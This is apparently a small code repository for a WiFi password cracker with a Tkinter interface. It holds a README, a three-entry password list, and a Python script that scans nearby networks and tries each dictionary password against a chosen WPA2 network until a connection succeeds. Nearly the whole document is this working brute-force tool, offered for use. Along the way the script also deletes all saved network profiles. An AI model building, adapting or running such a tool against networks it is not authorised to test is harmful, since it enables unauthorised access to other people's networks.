├── code.txt ├── README.md ├── 设计文档.docx └── foxi.py /code.txt: -------------------------------------------------------------------------------- 1 | F1603017409 2 | 12345678 3 | 520520sht -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # wifi 2 | WIFI密码暴力破解,带有图形化界面 3 | 4 | 具体见项目docx文件 5 | -------------------------------------------------------------------------------- /设计文档.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1397981186/wifi/HEAD/设计文档.docx -------------------------------------------------------------------------------- /foxi.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | 3 | from tkinter import * 4 | from tkinter import ttk 5 | import pywifi 6 | from pywifi import const 7 | import time 8 | import tkinter.filedialog 9 | import tkinter.messagebox 10 | import threading 11 | 12 | 13 | class Gui: 14 | def __init__(self, init_window_name): 15 | self.init_window_name = init_window_name 16 | self.get_value = StringVar() 17 | self.get_wifi_value = StringVar() 18 | self.get_wifimm_value = StringVar() 19 | self.wifi = pywifi.PyWiFi() 20 | self.iface = self.wifi.interfaces()[0] 21 | self.iface.disconnect() 22 | time.sleep(1) 23 | assert self.iface.status() in\ 24 | [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] 25 | 26 | def __str__(self): 27 | return '(WIFI:%s,%s)' % (self.wifi, self.iface.name()) 28 | 29 | def set_init_window(self): 30 | self.init_window_name.title("WIFI密码破解") 31 | self.init_window_name.geometry('+500+200') # 确定程序出现位置 32 | # 配置选项 33 | labelframe = LabelFrame(width=400, height=200, text="配置") 34 | labelframe.grid(column=0, row=0, padx=10, pady=10) 35 | self.search = Button(labelframe, text="搜索附近WiFi", command=lambda: thread_it(self.scans_wifi_list)).grid(column=0, row=0) 36 | self.crack = Button(labelframe, text="开始破解密码", command=lambda: thread_it(self.readPassWord)).grid(column=1, row=0) 37 | self.label = Label(labelframe, text="弱口令字典路径:").grid(column=0, row=1) 38 | self.path = Entry(labelframe, width=12, textvariable=self.get_value).grid(column=1, row=1) 39 | self.file = Button(labelframe, text="添加字典文件目录", command=self.add_mm_file).grid(column=2, row=1) 40 | self.wifi_text = Label(labelframe, text="WiFi账号:").grid(column=0, row=2) 41 | self.wifi_input = Entry(labelframe, width=12, textvariable=self.get_wifi_value).grid(column=1, row=2) 42 | self.wifi_mm_text = Label(labelframe, text="WiFi密码:").grid(column=2, row=2) 43 | self.wifi_mm_input = Entry(labelframe, width=10, textvariable=self.get_wifimm_value).grid(column=3, row=2, sticky=W) 44 | 45 | self.labelinfor = LabelFrame(width=100, height=100, text="爆破过程") 46 | self.labelinfor.grid(column=0, row=3, padx=10, pady=10) 47 | self.text = tkinter.Text(self.labelinfor, height=10, width=50) 48 | self.text.grid(column=0, row=3, padx=10, pady=10) 49 | 50 | # wifi列表显示 51 | self.wifi_labelframe = LabelFrame(text="wifi列表") 52 | self.wifi_labelframe.grid(column=0, row=4, columnspan=4, sticky=NSEW) 53 | self.tree = ttk.Treeview(self.wifi_labelframe, column=[1, 2, 3, 4], show="headings") 54 | self.bar = Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.tree.yview) 55 | self.tree.configure(yscrollcommand=self.bar.set) 56 | # 每列的标题 57 | self.tree.column('1', width=50, anchor="center") 58 | self.tree.column('2', width=100, anchor="center") 59 | self.tree.column('3', width=100, anchor="center") 60 | self.tree.column('4', width=100, anchor="center") 61 | self.tree.heading('1', text="WiFiID") 62 | self.tree.heading('2', text="WiFi名") 63 | self.tree.heading('3', text="BSSID") 64 | self.tree.heading('4', text="信号强度") 65 | self.tree.grid(row=5, column=0, sticky=NSEW) 66 | # 双击wifi,填入wifi框内 67 | self.tree.bind("", self.onDBClick) 68 | self.bar.grid(row=5, column=1, sticky=NS) 69 | 70 | def scans_wifi_list(self): 71 | print("扫描开始,需要一段时间,请耐心等候") 72 | self.iface.scan() 73 | time.sleep(1) 74 | scanres = self.iface.scan_results() 75 | nums = len(scanres) 76 | print("数量:%s"%(nums)) 77 | self.show_scans_wifi_lists(scanres) 78 | return scanres 79 | 80 | def show_scans_wifi_lists(self, scan_res): 81 | x = self.tree.get_children() 82 | for item in x: 83 | self.tree.delete(item) 84 | for index, wifi_info in enumerate(scan_res): 85 | self.tree.insert("", 'end', value=(index+1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal)) 86 | 87 | def add_mm_file(self): 88 | self.filename = tkinter.filedialog.askopenfilename() 89 | self.get_value.set(self.filename) 90 | 91 | # Treeview绑定事件 92 | def onDBClick(self, event): 93 | self.sels = event.widget.selection() 94 | self.get_wifi_value.set(self.tree.item(self.sels, "values")[1]) 95 | 96 | 97 | # 读取密码字典,进行匹配 98 | def readPassWord(self): 99 | self.getFilePath = self.get_value.get() 100 | # print("文件路径:%s\n" %(self.getFilePath)) 101 | self.get_wifissid = self.get_wifi_value.get() 102 | # print("ssid:%s\n" %(self.get_wifissid)) 103 | self.pwdfilehander = open(self.getFilePath, "r", errors="ignore") 104 | while True: 105 | try: 106 | self.pwdStr = self.pwdfilehander.readline() 107 | # print("密码: %s " %(self.pwdStr)) 108 | if not self.pwdStr: 109 | break 110 | self.bool1 = self.connect(self.pwdStr, self.get_wifissid) 111 | # print("返回值:%s\n" %(self.bool1) ) 112 | if self.bool1: 113 | # print("密码正确:"+pwdStr 114 | # res = "密码:%s 正确 \n"%self.pwdStr; 115 | self.res = "===正确=== wifi名:%s 匹配密码:%s " % (self.get_wifissid, self.pwdStr) 116 | self.get_wifimm_value.set(self.pwdStr) 117 | tkinter.messagebox.showinfo('提示', '破解成功!!!') 118 | self.text.insert(tkinter.INSERT, self.res) 119 | self.text.insert(tkinter.INSERT, '\n') 120 | break 121 | else: 122 | # print("密码:"+self.pwdStr+"错误") 123 | self.res = "---错误--- wifi名:%s匹配密码:%s" % (self.get_wifissid, self.pwdStr) 124 | self.text.insert(tkinter.INSERT, self.res) 125 | self.text.insert(tkinter.INSERT, '\n') 126 | 127 | except: 128 | continue 129 | 130 | # 对wifi和密码进行匹配 131 | def connect(self, pwd_Str, wifi_ssid): 132 | self.profile = pywifi.Profile() 133 | self.profile.ssid = wifi_ssid # wifi名称 134 | self.profile.auth = const.AUTH_ALG_OPEN # 网卡的开放 135 | self.profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法 136 | self.profile.cipher = const.CIPHER_TYPE_CCMP # 加密单元 137 | self.profile.key = pwd_Str # 密码 138 | self.iface.remove_all_network_profiles() # 删除所有的wifi文件 139 | self.tmp_profile = self.iface.add_network_profile(self.profile) # 设定新的链接文件 140 | self.iface.connect(self.tmp_profile) # 链接 141 | time.sleep(1.5) 142 | if self.iface.status() == const.IFACE_CONNECTED: # 判断是否连接上 143 | isOK = True 144 | else: 145 | isOK = False 146 | self.iface.disconnect() # 断开 147 | #time.sleep(1) 148 | # 检查断开状态 149 | assert self.iface.status() in \ 150 | [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] 151 | return isOK 152 | 153 | def thread_it(func, *args): 154 | '''将函数打包进线程''' 155 | # 创建 156 | t = threading.Thread(target=func, args=args) 157 | # 守护 !!! 158 | t.setDaemon(True) 159 | # 启动 160 | t.start() 161 | 162 | def gui_start(): 163 | window = Tk() 164 | ui = Gui(window) 165 | print(ui) 166 | ui.set_init_window() 167 | window.mainloop() 168 | 169 | 170 | gui_start() 171 | 172 | --------------------------------------------------------------------------------